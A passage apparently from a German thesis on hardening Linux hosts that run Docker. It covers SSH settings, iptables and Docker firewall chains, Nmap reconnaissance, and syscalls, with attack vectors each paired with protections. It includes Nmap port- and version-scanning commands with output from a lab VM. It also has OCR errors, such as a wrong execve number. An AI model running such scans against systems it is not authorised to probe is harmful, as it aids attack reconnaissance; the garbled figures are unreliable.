gesperrt oder werden durch Firewalls blockiert. Wird der Port geandert, darf dieser von
keinem anderen Dienst benutzt werden. [57, 58]

LogLevel VERBOSE : Aktiviert die ausfiihrliche Protokollierungsstufe, um Fehler oder
Angriffsversuche untersuchen zu kénnen.

PermitRootLogin no : Verweigert die Anmeldung mit Root. Bei manche Distributio-
nen steht hier der Wert prohibit-password, womit jedoch noch eine Public-Key
Authentifizierung moglich ist [58]. Es wird empfohlen, den passwortbasierten SSH-Login
generell zu verbieten. Sicherer und komfortabler sei eine Public-Key-Authentifizierung. [59]

PermitEmptyPasswords no : Verweigert die Anmeldung ohne Kennwort und erschwert
Anmeldeversuche durch alleiniges Erraten eines Kontonamens.

Banner none : Die Werte /etc/issue und /etc/issue.net konnten als Pfade
fir Banner vorgefunden werden. Die Dateien beinhalten standardmaBig die Version des
Betriebssystems und sollten nicht unverandert benutzt werden. Der Banner wird beim
Herstellen einer SSH-Verbindung noch vor der Authentifizierung beim Client ausgegeben.
Durch den Wert none wird kein Banner angezeigt. Damit wird die Erkennung des
Betriebssystem mittels OS-Fingerprinting-Methoden wie dem Banner-Grabbing erschwert.

X11Forwarding no : Deaktiviert die X11-Weiterleitung (siehe Schutz 1.3, Seite 35).

Bemerkung 1.2 — SSH-Konfigurationen anwenden: Das Anwenden von Konfigura-
tionsanderungen hat keine Auswirkung auf bestehende SSH-Sitzungen. Weder wirken die
Konfigurationen auf offene Sitzungen, noch werden solche getrennt. Beim Anwenden
von Konfigurationsanderungen sollte daher mindestens eine bestehende Verbindung so
lange geoffnet bleiben, bis die korrekte Funktionalitdt mit den neuen Konfigurationen
zweifelsfrei festgestellt wurde. Somit sind Nachbesserungen bei Fehlern (iber die beste-
hende Sitzung moglich. Mit dem Befehl systemctl restart sshd.service werden
die Konfigurationen (siehe Tab. 3.1, Seite 36) neu geladen und mit sshd -T lassen
sich die aktuell ausgefiihrten Konfigurationsparameter des Daemons ausgeben.

Weitere Sicherheitsempfehlungen beziglich der Verwendung von SSH, beispielsweise fiir

den Umgang mit Schlisseln, kénnen der Technischen Richtlinie TR-02102-4 (Kryptogra-
phische Verfahren) des BSI entnommen werden. [54]
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Vektor 2 [] 7 ]'] — Nicht-quelloffene Software:
Ein Angriffsvektor bezliglich der Betriebssystemauswahl kann durch nicht-quelloffene
Software auftreten. In der Software konnten sich nicht dokumentiere Funktionalitaten

(z. B. Hintertiiren) verbergen.

Schutz 2.1 — Quelloffene und freie Software: Um Kosten sowie Aufwand zu redu-
zieren und damit moglicherweise die Sicherheit eines IT-Systems erhéhen zu kdnnen,

kann auf Open Source und Freie Software zuriickgegriffen werden. Von quelloffener
Software darf nicht der Eindruck entstehen, dass diese zwangslaufig sicherer ist oder
tatsachlich nur jene Funktionalitdten beinhaltet, die dokumentiert sind. Jedoch besteht
die praktische Moglichkeit, den Quelltext iiberpriifen oder auf Untersuchungsergebnisse
von Fachleuten zuriickzugreifen zu kénnen, ohne dass ein Reverse Engineering (siehe
Schutz 2.2, Seite 38) notwendig wird. Ob der Quelltext jedoch tatsachlich von Fachleuten
begutachtet wurde, sollte im Einzelfall verifiziert werden. Eine Uberpriifung der jeweiligen
Software muss aus Sicherheitsgriinden nach jedem Update neu durchgefiihrt werden.

Schutz 2.2 — Reverse Engineering: Eine Schutzmoglichkeit ist das Reverse Engi-

neering von Software. Damit wird beispielsweise aus nicht-quelloffener Software der
Quelltext zurlickgewonnen oder Kommunikationsprotokolle durch Beobachtung von Netz-
werkverkehr erschlossen. Hierbei ist jedoch bereits der Vorgang des Reverse Engineering
umfangreich und aufwandig. Zusatzlich kommt schlieBlich die Uberpriifung des gewonnen
Quelltextes hinzu. Bei der Riickgewinnung des Quelltextes konnen Fehler auftreten.

3.1.3 Hartung

Nach der Auswahl eines Betriebssystems und der Minimalisierung kann zusatzlich eine
Hartung (Hardening) stattfinden, die nicht mit der herkdmmlichen Konfiguration des
Betriebssystem und der Dienste zu verwechseln ist. In den sogenannten Hardening
Guides werden Vorgehensweisen zum Deaktivieren von Diensten oder Deinstallieren von
Softwarepaketen beschrieben. Dabei konnen tiefe Eingriffe in das System notwendig
werden. Ein Beispiel hierfiir kann das Verhindern der Manipulation von iptables durch
Docker liefern (siehe Bemerkung 25.4, Seite 43). Durch die teils schwerwiegenden
Eingriffe konnen Nebeneffekte auf andere Dienste oder Funktionen auftreten. Deshalb
muss nach jedem Eingriff, insbesondere schrittweise wahrend einer Hartung, die korrekte
Funktionalitat aller Komponenten des Gesamtsystems Uberprift werden. [44, 58]
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3.1.4 Netzwerk

Eine Netzwerkinfrastruktur ist ein Verbund von verschiedenen Komponenten wie beispiels-
weise Router, Switches, Computer, Drucker oder IP-Telefone. Verbunden werden diese
kabelgebunden, kabellos iiber Funktechnologien oder via Lichtwellenleiter. Administrative
Anwendungen und Dienste wie beispielsweise Dynamic Host Configuration Protocol
(DHCP), Domain Name System (DNS) oder Firewalldienste sorgen fiir eine grundlegende
und sichere Kommunikation zwischen den einzelnen Komponenten. [44, 60]

Definition 23 [, %' |/ ] — Netzwerk und Dokumentation:
Eine Netzwerkdokumentation sollte tagesaktuell, korrekt und vollumfanglich sein. [44] Die
Dokumentation ber ein Netzwerk sollte mindestens die folgenden Inhalte beriicksichtigen:

» Beschreibung und Aufbau

= Standorte und Verbindungen

= Computer und Server

= Netzwerkkomponenten (z. B. Switches, Router und Drucker)
» Firewalls, Portsicherheit, Verschliisselung und Konfigurationen
= Netztrennungen und Sicherheitsgrenzen (z. B. VLAN)

Vektor 3 [] || ] — Dokumentationsfehler:

Ein Dokumentationsfehler kann durch Ressourcenmangel oder Abweichungen zwischen
Soll- und Ist-Zustand auftreten. Nach Anpassungen von Konfigurationen kann es ohne
Anderungsmanagement dazu kommen, dass neue Parameter nicht oder nicht zeitnah
dokumentiert werden. Angenommen in der Dokumentation ist beschrieben, dass kritische
Sicherheitsaktualisierungen automatisch installiert werden, dann ist das jedoch tatsachlich

nicht der Fall und es ist zudem kein Aktualisierungsmanagement vorhanden, kénnten
kritische Sicherheitsliicken eine potenzielle Bedrohung darstellen. [44]

Schutz 3.1 — Dokumentationsmanagement in Projekten und Prozessen: Das
Management fiir Erstellung und Pflege von Dokumentationen sollte als Arbeitspakete

mit umfangreichen Ressourcen innerhalb eines Projektes oder Prozesses ausgestattet
und implementiert werden. Das Dokumentationsmanagement sollte regelmaBige mit
allen weiteren Beteiligten (z. B. Anderungsmanagement, Schnittstellenmanagement oder
Monitoring) kommunizieren. Die Dokumentationsprodukte sollten regelmaBig Gberprift
werden. Es sollten keine Abweichungen zwischen Soll- und Ist-Zustand existieren. [44]

Schutz 3.2 — Netztrennung (Network Seperation): Eine Netztrennung kann zu-
satzliche Sicherheitsgrenzen (siehe Definition 10, Seite 12) bieten. Um das dauerhafte
Vorhandensein der Netztrennungen zu iiberpriifen, konnen Schwachstellenanalysen zum

Einsatz kommen, bei denen eine umfangliche Aufnahme des Ist-Zustandes hergestellt
und mit dem Soll-Zustand verglichen wird.
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3.1.5 Firewall

Dem Linux-Kernel'® wurde eine in der Programmiersprache C entwickelte Firewall
mit dem Netfilter '°-Modulnamen x_tables hinzugefiigt, um Rechnernetze oder
einzelne Computer vor unerwiinschten Netzwerkzugriffen zu schiitzen. Dieses Modul
beinhaltet den Programmcode vier weiterer Netfilter-Module?® und stellt eine Program-
mierschnittstelle bereit. [61, 62]

Definition 24 [, % | ] — Netfilter und iptables:

Die Netfilter-Module laufen im Kernelmode ?® und stellen tables (Tabellen) bereit,
die mit dem Programm iptables im Usermode ?° konfiguriert werden kénnen. Da

sich die Konfigurationen in den Tabellen der Netfilter-Kernelmodule unmittelbar auf die
Zugriffsmoglichkeiten der Hardware auswirken, sind zum Ausfiihren der Programme zur
Konfiguration von Tabellen privilegierte Systemberechtigungen (Root-Rechte) notwendig.
Es gibt verschiedene Programme, mit denen die Tabellen der jeweiligen Protokolle
konfiguriert werden kénnen (siehe Tab. 3.3, Seite 40). [61, 62]

Tab. 3.3 Netfilter-Konfigurationsprogramme (Beispiele) VTZ]

Konfigurationsprogramm Protokoll

iptables |Pv4
ip6tables [Pv6
arptables ARP
ebtables Ethernet

Bemerkung 24.1 — iptables Konfigurationsprogramm: Im hiesigen Zusammenhang
wird die gesamte Firewall-Infrastruktur mit dem Hauptmodulnamen x_tables auch
mit Xtables bezeichnet. Bei genauerer Betrachtung ist iptables nicht die Firewall
selbst, sondern das Konfigurationsprogramm fiir die Tabellen des Moduls x_tables . In
der Regel liefert jeder Linux-Kernel*® die Netfilter-Module automatisch mit.

Bemerkung 24.2 — iptables Nachfolger nftables: Mit nftables als Nachfolger
von iptables wird eine flexiblere und leistungsfahigere Klassifizierung von Paketen
entwickelt. Dabei werden die bisher bekannten ip-, ip6-, arp- und eb-Tabellen ersetzt. Es
wird ein neues Rahmenwerk fiir die Paketklassifizierung im Kernel geschaffen, das auf einer
netzwerkspezifischen Virtuelle Maschine und einem neuen nft -Befehlszeilenprogramm
im Usermode® basiert. [63]

18 Seit Linux-Kernel Version 2.4 [61].
19 Netfilter-Projekt: https://www.netfilter.org [61].
20 Dateinamen: ip_tables, ip6_tables, arp_tables und ebtables
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Bemerkung 24.3 — iptables Tabellen, Ketten und Regeln: Das Regelwerk, das
mit iptables konfigurierbar ist, besteht standardmaBig aus drei tables (Tabellen),
funf Standardtypen von chains (Ketten) und Aktionen fiir die rules (Regeln), die
im Anhang D (siehe Seite D-83) naher beschrieben werden. Eine Tabelle setzt sich aus
mehreren Ketten mit je einer Menge von Regeln zusammen und definiert die Behandlung
von Paketen. Es kdnnen weitere individuelle Ketten erstellt werden. [64]

Eine Regel definiert, fiir welche Pakete eine Entscheidung getroffen werden soll. Durchlauft
ein Paket eine Kette, ist die Reihenfolge aller treffenden Regeln entscheidend. Die erste
Regel, die auf ein Paket zutrifft, entscheidet dariiber, ob das Paket weitergegeben
oder verworfen wird. Alle darauffolgenden Regeln der Kette, selbst wenn diese zutreffen,
werden nicht mehr fiir die Entscheidung beriicksichtigt. Meist gibt es eine Standardregel
am Ende jeder Kette fiir den Fall, dass keine der vorherigen Regeln zutrifft. [62]

Definition 25 [, °° /] — iptables und Docker:
Docker manipuliert die tables der Firewall und gewahrleistet eine Netzwerkisolierung.

Die von Docker erstellten chains und rules sollten unverandert bleiben, solange
keine eigenen Richtlinien umgesetzt werden miissen. Sobald ein Host dem Internet
ausgesetzt ist, sollten alle Regeln der Firewall iberpriift werden, um dem Risiko eines
unbefugten Zugriffs auf Container oder Dienste des Hosts entgegenzuwirken. [65]

Bemerkung 25.1 — iptables-Tabellen iiberpriifen: Um die Parameter der Firewall
aller Tabellen mit iptables zur Uberpriifung auszugeben (siehe Aufl. 3.1, Seite 42),
konnen verschiedene Befehle benutzt werden (siehe Tab. 3.4, Seite 41).

Tab. 3.4 iptables-Befehle (Beispiele) [/ ]

Ohne Parameter -t wird Tabelle filter ausgegeben.

Befehl Ausgabe
iptables --1list -t mangle Tabelle mangle
iptables --list -t nat Tabelle nat
iptables --list -t filter Tabelle filter
iptables --list Tabelle filter

Bemerkung 25.2 — iptables und Docker-Regeln: Wahrend der Installation von
Docker werden die standardmaBig konfigurierten chains mit dem Namen DOCKER und
DOCKER-USER mit den jeweils notwendigen rules erstellt (sieche Aufl. 3.1, Seite 42).
Eingehende Pakete werden standardmaBig zuerst von diesen beiden Ketten tiberpriift. [65]

Neue Regeln werden von Docker zur Kette DOCKER hinzugefiigt. Diese Kette sollte
nicht manuell verandert werden. Sind individuelle Regeln notwendig, die vor den
Docker-Regeln zutreffen sollen, miissen diese der Kette DOCKER-USER hinzugefiigt
werden. Diese Regeln wirken vor den von Docker automatisch erstellten Regeln. [65]
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Aufl. 3.1 Firewall-Ketten und Regeln von Docker) [A”hiD'l] [VTZ]

# Firewalltabellen mit iptables anzeigen
# target prot opt source destination

ubuntu@vm:~$ sudo iptables --list -t nat
# Chain PREROUTING (policy ACCEPT)

DOCKER all -- anywhere anywhere  ADDRTYPE match dst-type LOCAL
# Chain OUTPUT (policy ACCEPT)

DOCKER all -- anywhere Ilocalhost/8 ADDRTYPE match dst-type LOCAL
# Chatin POSTROUTING (policy ACCEPT)

MASQUERADE all -- 172.17.0.0/16 anywhere

MASQUERADE tcp -- 172.17.0.2 172.17.0.2 tcp dpt:mysql

# Chain DOCKER (2 references)

RETURN all -- anywhere anywhere

DNAT tcp -- anywhere anywhere tcp dpt:3305 t0:172.17.0.2:3306

ubuntu@vm: ~$ sudo iptables --list -t filter

# Chatn FORWARD (policy DROP)

DOCKER-USER all -- anywhere anywhere
DOCKER-ISOLATION-STAGE-1 all -- anywhere anywhere

ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
DOCKER all -- anywhere anywhere

ACCEPT all -- anywhere anywhere

ACCEPT all -- anywhere anywhere

# Chain DOCKER (1 references)

ACCEPT tcp —- anywhere 172.17.0.2 tcp dpt:mysql
# Chain DOCKER-ISOLATION-STAGE-1 (1 references)
DOCKER-ISOLATION-STAGE-2 all -- anywhere anywhere

RETURN all -- anywhere anywhere

# Chatin DOCKER-ISOLATION-STAGE-2 (1 references)

DROP all -- anywhere anywhere

RETURN all -- anywhere anywhere

# Chain DOCKER-USER (1 references)

RETURN all -- anywhere anywhere

Fir eine bessere Lesbarkeit wurde diese Ausgabe leicht formatiert. Nicht relevante Zeilen wurden
entfernt. Eine vollstandige Auflistung befindet sich im verlinkten Anhang (siehe Auflistungsiiberschrift).
Die Auflistung zeigt alle Ketten und Regeln der Tabellen nat und filter, die auf der Untersuchungs-
maschine durch Docker eingerichtet wurden. Die Tabelle mangle enthielt keine Eintrage.

Bemerkung 25.3 — iptables und Docker-Abarbeitungsreihenfolge: Die Regeln
in der Kette FORWARD 2! werden erst nach den Regeln der Kette DOCKER und diese
wiederum nach der Kette DOCKER-USER angewendet [65]. Zu erkennen ist dieses Schema
in der Tabelle filter an der Reihenfolge® dortiger Regeln in der Kette FORWARD
(siche Aufl. 3.1, Seite 42): DOCKER-USER [...], DOCKER [..], ACCEPT [..].

21 Manuell oder durch eine iptables-basierte Firewall angelegt.
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Demnach werden zuerst die Regeln in der Kette DOCKER-USER gepriift. Daraus folgt,
dass ein lber Docker freigegebener Port geoffnet wird, unabhangig davon, welche Regeln
zu diesem Port iber die Firewall in der Kette FORWARD konfiguriert wurden.

Bemerkung 25.4 — iptables nicht durch Docker manipulieren lassen: Es besteht
die Moglichkeit, das Manipulieren der iptables -Ketten durch Docker zu verweigern.
Diese Option ist fiir die meisten Anwendungsfélle nicht geeignet. Das Erstellen von
iptables -Regeln durch Docker lasst sich nicht komplett verhindern und die nachtragli-
che Erstellung ist aufwandig. Solle diese Option dennoch in Betracht kommen, kann mit
dem Schliisselwort false in der Konfigurationsdatei /etc/docker/daemon. json
die Manipulation der Tabellen durch Docker unterbunden werden. Diese Anderung
unterbricht hochstwahrscheinlich das Containernetzwerk fiir die Docker-Engine. [65]

Vektor 4 [} 7 ]| — iptables und Zugriff auf Nicht-Dockerdienste:
Die Dienste eines Hosts miissen nicht immer auch aus dem Internet oder anderen

Netzwerkbereichen erreichbar sein. Ist die Firewall falsch konfiguriert, konnen ungewollt
die Sicherheitsgrenzen (siehe Definition 10, Seite 12) aufgeweicht werden, indem nicht
bendtigte Schnittstelle entstehen und vermeidbare Angriffsflachen bieten.

Liegt bei einer so entstandenen Schnittstelle mindestens eine geeignete und ausnutzbare
Sicherheitsliicke vor, kann ein Zugriff auf den Host erzwungen werden. Dabei muss diese
Sicherheitsliicke nicht allgemein bekannt sein, um eine Bedrohung (siehe Definition 8,
Seite 11) darzustellen. Es geniigt, wenn einzelne Angreifende liber das notwendige Wissen
einer nicht allgemein bekannten Sicherheitsliicken verfiigen (vgl. Zero-Day-Exploit).

Durch dieselbe oder eine andere Sicherheitsliicke konnten anschlieBend die Angreifenden
bei Bedarf die Privilegien ausbauen, wenn diese noch nicht hoch genug sind, um die
beabsichtigte Wirkung zu erreichen. Ist das Ausbauen der Privilegien noch nicht még-
lich und haben die Angreifenden bereits einen unprivilegierten Zugriff auf das System
erzwungen, kdnnen weitere Sicherheitsliicken anderer Programme und Dienste mogliche
Angriffsvektoren bieten. Eventuell vorhandene Sicherheitsliicken in der Docker-Engine
selbst, die vorher von auBen (iiber das Internet) noch nicht ausnutzbar waren, kdnnten
jetzt von innen auf dem Host selbst durch einen unprivilegierten oder privilegierten Zugriff
ausgenutzt werden.

Es ist denkbar, dass sich Angreifende iber mehrere Sicherheitsliicken anderer Dienste
entlang zum Ziel hinarbeiten, da das Ziel selbst nicht immer auch lber eigene geeignete
Sicherheitsliicken verfiigt. Konnen Angreifende iiber eine andere Sicherheitsliicken bei-
spielsweise Root-Rechte erlangen, so kann auf die Docker-Engine selbst zugriffen werden,
auch wenn diese tiber keine Sicherheitsliicken verfiigt.
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Schutz 4.1 — Sicherheitsaktualisierungen mit Einschrankung: Einer wesentlichen
Anzahl an Angriffsvektoren kann damit begegnet werden, dass auf den betroffenen

Systemen zu jeder installierten Software regelmaBig Sicherheitsaktualisierungen installiert
werden. Das schlieBt jedoch Programmaktualisierungen aus, da die Einfiihrung von
Funktionserweiterungen zur Entstehung neuer Sicherheitsliicken beitragen kann. Das
Pflegen nicht bendtigter Software und Schnittstelle verursacht zusatzlich unnétige Kosten
(Personal und Zeit fir Test und Implementierung). Zudem wird die Angriffsfliche damit
nicht effektiv genug reduziert und somit die Schadensminderung nicht zuverlassig erreicht.

Schutz 4.2 — Firewallkonfiguration (Whitelisting): Eine weitere allgemein immer
anwendbare MaBnahme zur Schadensminderung empfiehlt eine Uberpriifung und An-

passung von Ketten und Regeln der Firewall betroffener Systeme. Dabei sollte gemaB
der Positivlisten-Strategie (Whitelist-Strategie®?) verfahren werden. Die gegenteilige
Negativlisten-Strategie (Blacklist-Strategie®?) ist in der Konfiguration und Pflege we-
sentlich aufwandiger. Es ist denkbar, dass dafiir auch mehr Fachwissen benétigt wird, da
die Entwicklungen in diesen technischen Bereichen schnelllebig sind. Eine Negativlisten-
Strategie kann daher nicht als sicher betrachtet werden.

Schutz 4.3 — Prinzip der Sparsamkeit: Effektiver als regelmaBige Sicherheitsaktuali-
sierungen (siehe Schutz 4.1, Seite 43) oder das Whitelisting von Firewallkonfigurationen
(siehe Schutz 4.2, Seite 44) ist die Anwendung des Prinzips der Sparsamkeit (siehe
Definition 13, Seite 13). Hierbei werden die eintretenden Auswirkungen potenzieller

Angriffsvektoren bzw. Risiken nicht nur durch die Behebung von Sicherheitsliicken oder
durch die Konfiguration von Firewalls in ihrer Erfolgswahrscheinlichkeit reduziert, sondern
zusatzlich durch das Deinstallieren von nicht benétigter Software und Diensten vollstandig
unwirksam gemacht und so eine effektive® und effiziente*® Schadensminderung erreicht.

Vektor 5 [} ¢l ] — iptables und Zugriff auf Dockerdienste:
Dieser Vektor wird unter der Annahme betrachtet, dass es beispielsweise zwei Rollen fiir
die Administration der Firewall gibt. Die ersten Rolle (A) definiert die grundlegenden

Regeln fiir den Host und die zweite Rolle (B) definiert die Regeln fiir Docker.

Wie in den Grundlagen zu Docker-Regeln (sieche Bemerkung 25.2, Seite 41) beschrieben,
wird die Kette FORWARD (A) erst nach den Regeln der dockerbasierten Ketten DOCKER
und DOCKER-USER (B) angewendet.

22 Grundsatzlich jeden Netzwerkverkehr verbieten und nur erwiinschte Verbindungen erlauben.
23 Grundsatzlich jeden Netzwerkverkehr erlauben und nur unerwiinschte Verbindungen verbieten.
24 Die zielfiihrenden MaBnahmen entscheiden.

25 Dje entschiedenen MaBnahmen verfolgen.
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Angenommen, ein bestimmter Port wird von der ersten Rolle (A) als geschlossen und
von der zweiten Rolle (B) als gedffnet definiert, dann werden die definierten Regeln der
Rolle (B) in den Ketten DOCKER und DOCKER-USER eher einen Treffer®® liefern als die
der Kette FORWARD . Hierbei sind die auf diesen Port bezogenen Regeln der Rolle (A)
wirkungslos. [65]

Werden die Regeln der dockerbasierten Ketten von Rolle (B) manipuliert (z. B. durch
Social Engineering, Exploits oder Hacks), kénnte unbemerkt ein Port gedffnet werden,
welcher von der Rolle (A) als geschlossen dokumentiert ist.

Schutz 5.1 — Portsecurity und Portmonitoring: Fiir die Konfiguration und Uberwa-
chung von Ports sind fiir das Management verschiedene Methoden verfiigbar. Denkbar

sind einfache Dokumentationen und manuelle Prifungen oder die Implementierung
umfangreicher Systemiiberwachungssoftware, welche in Echtzeit eine Anderung von
Konfigurationen anzeigt oder Anomalien erkennt.

Schutz 5.2 — Absprachen innerhalb der Firewalladministration: Fir konsistente

Regeln und Dokumentationen beziiglich der Firewallkonfigurationen kdnnen definierte
Prozesse hilfreich sein, um das unbeabsichtigte Offnen von Ports zu verhindern.

3.1.6 Scanner

Mittels verschiedener Scanner und Scantechniken lassen sich Informationen iiber Netz-
werke, Computer und Dienste sammeln. Diese Informationen kdnnen gesammelt werden,
um eigene Infrastrukturen auf Sicherheitsliicken zu (iberprifen oder um Angriffe auf
(fremde) Infrastrukturen vorzubereiten und durchzufiihren.

Definition 26 [, %'\, ] — Scanner und Nmap:
Ein bekannter Vertreter von Scannern ist Nmap mit folgendem Funktionsumfang [66]:

» Unterstlitzung verschiedener Scantechniken
= Versions-/OS- und Porterkennung
» Ausfithrung von Skripten, fiir z. B.:

— Erweiterte Portinformationen

— Schwachstellenanalyse

— Brute-Force-Angriffe

Ausgewahlte Optionen sind im Anhang beschrieben (siehe Anhang E, Seite E-87).
Aufgrund der Komplexitat verschiedener Scanner und deren Scantechniken kénnen nur
wenige grundlegende Angriffsvektoren untersucht werden.

26 Siehe FuBnote®', Seite D-83: Trifft eine Regel zu, ist die Bearbeitung in dieser Kette beendet.
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Vektor 6 [| | ]'] — Scanner und Porterkennung:

Die Kenntnisse iiber offene Ports eines IT-Systems kann Angreifende in die Lage verset-
zen, beispielsweise zufallige oder gezielte Verbindungsversuche sowie Exploits auf den
jeweils angebotenem Dienst auszufiihren. Dieser ist durch ausschlieBliches Nutzen der
Porterkennung noch nicht zweifelsfrei korrekt bestimmbar. Zu diesem Zweck ist eine
Versionserkennung notwendig (siehe Vektor 7, Seite 47). [66]

Mit einer herkdmmlichen Erkennung (siehe Aufl. 3.2, Seite 46) lassen sich einzelne
explizit angegebene Ports (z. B. -p80,3305 ) oder eine bestimmte Menge an Ports
(z.B. -p80-3305 fiir Port 80 bis 3305 oder -p- fiir alle von 1 bis 65535) priifen.

Aufl. 3.2 Scanner zur Porterkennung [ £-1] [VTZ]

kali@kali:~$ sudo nmap -T4 -p80,3305 -0 10.0.2.15 # Ports bekannt, OS-Detection
PORT STATE SERVICE
80/tcp open http
3305/tcp open odette-ftp
0S details: Linux 4.15 - 5.6
[...]

kali@kali:~$ sudo nmap -T4 -p- -0 10.0.2.15 # Ports unbekannt, OS-Detection
[identische Ausgabe; benoetigt mehr Zeit]

Je nach gewahlten Optionen missen die Portnummern nicht explizit angegeben werden. Sind diese
unbekannt, kann mit —p- der gesamte Bereich aller Ports gepriift werden. Dafiir wird mehr Zeit bendtigt
und es kann sich dabei das Risiko der Erkennung erhéhen. Weitere Optionen sind im Anhang erlautert.

Schutz 6.1 — Porterkennung erschweren: Die Erkennung der Port-Zustande?’ (siehe
Anhang E, Seite E-87) durch Angreifende vollstandig zu verhindern ist nicht moglich.

Damit ein Client eine Verbindung zu einem Dienst aufbauen kann, muss der Port
erreichbar sein und der dahinterliegende Dienst auf Anfragen reagieren.

Durch Schwachstellenanalysen oder Penetrationstests kann ein Netzwerk auf offene
Ports tiberpriift werden. Die Ergebnisse sollten auf jeden einzelnen offenen Port hin
iberprift werden, ob dieser tatsachlich aus verschiedenen Netzwerken heraus (z. B.
Internet oder einzelne Netzwerke aus dem Intranet) erreichbar sein muss. Alle nicht
bendtigten offenen Ports oder Netzwerke sollten geschlossen oder gefiltert werden. Die
Dienste der bendtigten Ports sind auf bekannte Sicherheitsliicken zu iberpriifen, um die
Menge potenzieller Angriffsvektoren zu reduzieren. [67]

Hinweis: Fiir die Uberpriifung mittels Scanning oder Penetrationstests eigener Systeme
in Cloud-Umgebungen kann eine Erlaubnis notwendig werden. Die Cloud-Dienste sind
haufig geschiitzt, wodurch Fehlalarme entstehen kénnen.

27 Nmap kennt die sechs Port-Zustinde (keine echten Eigenschaften eines Ports selbst) offen,

geschlossen, gefiltert, ungefiltert, offen|gefiltert und geschlossen|gefiltert. [67]
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Mithilfe von Firewalls, Intrusion Detection Systems und Intrusion Prevention Systems
kénnen ungewdhnliche Verbindungsversuche (z. B. erkennbar an haufigen Anfragen auf
verschiedenen Ports innerhalb kurzer Zeit) automatisch erkannt und blockiert werden.
Hierbei sind verschiedene Schwellwerte moglich. Zu niedrige Werte erkennen moglicher-
weise weniger bosartige Verbindungsversuche und zu hohe Werte kénnen Problemen
bei unschadlichen Anfragen verursachen. Die automatischen Echtzeit-Entscheidungen
lassen sich mit einem Security Information and Event Management (SIEM) optimieren.
Fir diese Entscheidungsprozesse kommen auch gesammelte Daten iiber ungewdhnliche
Aktivitaten zum Einsatz.

Vektor 7 [| § ] ] — Scanner und Versions-/0S-Erkennung:

Mit der Nmap-Option -A lassen sich zusatzlich zu den Betriebssystemen auch die
jeweiligen Dienstversionen erkennen. Dabei kdnnen Techniken wie beispielsweise das
Banner-Grabbing zum Einsatz kommen.

Aufl. 3.3 Scanner zur Versions-/OS-Erkennung [A”hiE'l] [\ ]

# Ports unbekannt, OS-Detection und Dienstetdentifikation
kali@kali:~$ sudo nmap -T4 -p- -A 10.0.2.15
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| _http-server-header: Apache/2.4.41 (Ubuntu)
| _http-title: Apache2 Ubuntu Default Page: It works
3305/tcp open mysql  MySQL 8.0.25
| mysql-info:
| Protocol: 10
|  Version: 8.0.25
|  Thread ID: 14
| Capabilities flags: 65535
| Some Capabilities: Speaks41ProtocolOld, SupportsTransactions, [...]
| Status: Autocommit
| Salt: \x11\x08>0\x17y{C=+\x06DQb{v4~\x03\x7F
| Auth Plugin Name: caching_sha2_password

[...]

Schutz 7.1 — Scanner und Bannertarnung: Eine schnelle aber meist wenig effektive
Méglichkeit die Versionserkennung durch Scanner zu erschweren, ist das Andern von
Standard-Banner der jeweiligen Dienste wie dem SSH-Daemon oder Apache-Webserver
(siehe Schutz 1.4, Seite 36).
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3.2 Systemaufrufe und Capabilities

Die syscalls (Systemaufrufe) dienen den Anwendungen zur Kommunikation mit
dem Kernel. Durch die capabilities (Capabilities) trennt der Kernel die jeweiligen
Privilegien in verschiedene Einheiten.

3.2.1 Systemaufrufe

Der Linux-Kernel wird im Kernelmode?® und die Anwendungen in der Regel im Usermode®®
ausgefiihrt. Die Anwendungen haben weniger Berechtigungen als der Kernel. Fiir den
Zugriff auf Dateien miissen Anwendungen mit den Kernel kommunizieren und bei diesem
anfragen, um einen entsprechenden Befehl ausfiihren zu diirfen. Die dafiir implementierten
Schnittstellen zum Kernel werden syscall (Systemaufruf) genannt. [22, 68]

Definition 27 [, °° |/ ] — Syscall und Funktionsweise:
Ein Syscall (Systemaufruf) ist eine Bibliotheksfunktion (z. B. close() ), die den Sys-
temaufruf, dessen Assembler-Schnittstelle eine Nummer hat (z.B. 3 fiir close() ),

mit den Ubergebenen Argumenten (z. B. Dateideskriptor fd ) aufruft. Die Verwendung
von Syscall ist zum Beispiel niitzlich, wenn ein Systemaufruf genutzt wird, fiir den es
keine Wrapper-Funktion in der C-Bibliothek gibt. Ein Syscall speichert die CPU-Register,
bevor es den Systemaufruf ausfiihrt, stellt die Register bei der Riickkehr vom System-
aufruf wieder her und speichert jeden potenziell vom Systemaufruf zuriickgegebenen
Fehlercode in errno . Je nach Kernel gibt es iber 300 verschiedene Syscalls (siehe
Tab. 3.5, Seite 48). [22, 68, 69, 70]

Tab. 3.5 Systemaufrufe (Beispiele) [22, 69] [,/ ]

Die Nummer bezieht sich auf die Assembler-Schnittstelle der x86-64-Befehlssatzarchitektur (amd64)

Name Nummer Funktion

read 0 Daten aus einer Datei lesen

write 1 Daten in eine Datei schreiben

open 2 Datei zum spateren Lesen oder Schreiben 6ffnen

close 3 Datei oder Gerat schlieBen

clone 56 Erstellt Kindprozess mit Ressourcenteilung des Elternprozess
execve b9 Inhalt einer ausfiihrbaren Datei laden und ausfiithren

chown 92 Andert die Eigentumsrechte einer Datei

es gibt liber 300 weitere syscalls

28 Kernelmodus (privilegiert) mit direkten Zugriff auf die Hardware (z. B. Speicherzugriff).
29 Benutzendenmodus (unprivilegiert) ohne direkten Zugriff auf die Hardware (z. B. kein Speicherzugriff).
30 Fiir die x86-64-Befehlssatzarchitektur.
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Vektor 8 [ { I ] — Syscalls und Containervirtualisierung:
Die Syscalls in Anwendungen werden innerhalb und auBerhalb eines Containers auf die
selbe Weise ausgefiihrt. In beiden Szenarien wird der selbe Kernel des Hosts genutzt.

Das kann Auswirkungen auf die Sicherheit von Host und Container haben. In Verbindung
mit Capabilities (siehe Unterabschnitt 3.2.2, Seite 49) und dem Systemaufruf mount
wird in einer Untersuchung dargestellt, wie aus einem Container ausgebrochen werden
kann (siehe Vektor 24, Seite 68). [22]

Schutz 8.1 — Syscalls und Beschrankungen: Mit den Syscalls selbst miissen sich
Entwicklungsteams meist nicht beschaftigen, da diese oft in Programmierabstraktionen
hoherer Ebenen umgesetzt sind. Jedoch benétigen nicht alle Anwendungen in Contai-

nern auch alle Systemaufrufe. Das Prinzip der geringsten Rechte (siehe Definition 13,
Seite 13) geht von einer Beschrankung der Systemaufrufe aus, die fiir eine Anwendung
zur Verfigung stehen, um eine starke Containerisolierung zu erreichen. Diese Sicherheits-
funktionen lassen sich wahrend (siehe Unterabschnitt 3.5.4, Seite 68) oder bereits vor
